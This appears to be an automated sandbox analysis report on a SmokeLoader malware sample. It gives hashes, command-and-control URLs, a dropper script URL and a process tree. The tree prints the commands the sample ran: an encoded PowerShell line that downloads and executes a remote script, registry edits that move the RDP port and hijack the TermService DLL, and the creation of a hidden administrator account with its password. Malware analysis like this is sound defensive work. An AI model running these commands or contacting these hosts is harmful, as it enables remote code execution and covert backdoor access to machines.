Analysis

  • max time kernel
    153s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    18-10-2021 11:30

General

  • Target

    363fece1255b4dd7f688225dbc090e8b.exe

  • Size

    262KB

  • MD5

    363fece1255b4dd7f688225dbc090e8b

  • SHA1

    624e505f3b828e0f27bd8c2d82687def04ea63d9

  • SHA256

    477af70aacb75d845210fbb00fe37d4c6bd22422ed62dc859ebdf1dc93433c3a

  • SHA512

    70db537ae80612b88db8dfcb33d61a1deecd97555c2d150a9e2fdbaa4a6e89ca2600afbc07eaa6fd32342f044b602951d8bacaebbea7a4efe3c6fafb5054ccab

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32
rc4.i32

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\363fece1255b4dd7f688225dbc090e8b.exe
    "C:\Users\Admin\AppData\Local\Temp\363fece1255b4dd7f688225dbc090e8b.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1756
  • C:\Users\Admin\AppData\Local\Temp\94AA.exe
    C:\Users\Admin\AppData\Local\Temp\94AA.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1424
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3356
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pjgye1la\pjgye1la.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:364
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB69A.tmp" "c:\Users\Admin\AppData\Local\Temp\pjgye1la\CSC6CD62B51DF6F4130AC6CE95B79954BDF.TMP"
          4⤵
            PID:1404
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3024
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3916
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:872
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1948
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:3052
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:3432
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2984
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:3492
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3904
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1924
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2660
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2768
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1756
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3760
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3176
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:2404
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:2172
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:3516
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1012
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1996
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:1100
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc 42A6qmOj /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:352
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc 42A6qmOj /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1404
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc 42A6qmOj /add
                          3⤵
                            PID:364
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:772
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1364
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:528
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2760
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2248
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JQKTJDNJ$ /ADD
                              3⤵
                                PID:1308
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:616
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2304
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:1496
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc 42A6qmOj
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2724
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 42A6qmOj
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3520
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc 42A6qmOj
                                  3⤵
                                    PID:4048
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                  PID:2704
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic path win32_VideoController get name
                                    2⤵
                                    • Modifies data under HKEY_USERS
                                    PID:3540
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:1760
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                        PID:2784
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                      1⤵
                                        PID:4084
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          2⤵
                                            PID:2440
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              3⤵
                                              • Blocklisted process makes network request
                                              • Drops file in Program Files directory
                                              • Drops file in Windows directory
                                              • Modifies data under HKEY_USERS
                                              PID:3492

                                        Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • memory/872-286-0x00000130709F6000-0x00000130709F8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/872-285-0x00000130709F3000-0x00000130709F5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/872-284-0x00000130709F0000-0x00000130709F2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1424-122-0x000002203FC20000-0x000002204001F000-memory.dmp

                                          Filesize

                                          4.0MB

                                        • memory/1424-127-0x000002203F806000-0x000002203F807000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/1424-124-0x000002203F800000-0x000002203F802000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1424-125-0x000002203F803000-0x000002203F805000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1424-126-0x000002203F805000-0x000002203F806000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/1756-115-0x0000000000956000-0x0000000000967000-memory.dmp

                                          Filesize

                                          68KB

                                        • memory/1756-117-0x0000000000400000-0x0000000000772000-memory.dmp

                                          Filesize

                                          3.4MB

                                        • memory/1756-116-0x00000000007D0000-0x00000000007D9000-memory.dmp

                                          Filesize

                                          36KB

                                        • memory/3024-180-0x000001E17E3A6000-0x000001E17E3A8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3024-176-0x000001E17E3A0000-0x000001E17E3A2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3024-177-0x000001E17E3A3000-0x000001E17E3A5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3024-170-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3024-217-0x000001E17E3A8000-0x000001E17E3AA000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3024-178-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3024-171-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3024-169-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3024-168-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3024-174-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3024-173-0x000001E17DFA0000-0x000001E17DFA2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3056-118-0x00000000005B0000-0x00000000005C6000-memory.dmp

                                          Filesize

                                          88KB

                                        • memory/3356-158-0x0000019B0F1F8000-0x0000019B0F1F9000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3356-143-0x0000019B0F1F3000-0x0000019B0F1F5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3356-130-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3356-131-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3356-132-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3356-160-0x0000019B29BA0000-0x0000019B29BA1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3356-159-0x0000019B29810000-0x0000019B29811000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3356-133-0x0000019B290A0000-0x0000019B290A1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3356-134-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3356-135-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3356-152-0x0000019B291D0000-0x0000019B291D1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3356-146-0x0000019B0F1F6000-0x0000019B0F1F8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3356-129-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3356-142-0x0000019B0F1F0000-0x0000019B0F1F2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3356-138-0x0000019B0F170000-0x0000019B0F172000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3356-136-0x0000019B29250000-0x0000019B29251000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3492-385-0x0000020255D20000-0x0000020255D22000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3492-386-0x0000020255D23000-0x0000020255D25000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3492-387-0x0000020255D26000-0x0000020255D28000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3492-438-0x0000020255D28000-0x0000020255D29000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3916-218-0x000001E51CE90000-0x000001E51CE92000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3916-219-0x000001E51CE93000-0x000001E51CE95000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3916-251-0x000001E51CE96000-0x000001E51CE98000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3916-252-0x000001E51CE98000-0x000001E51CE9A000-memory.dmp

                                          Filesize

                                          8KB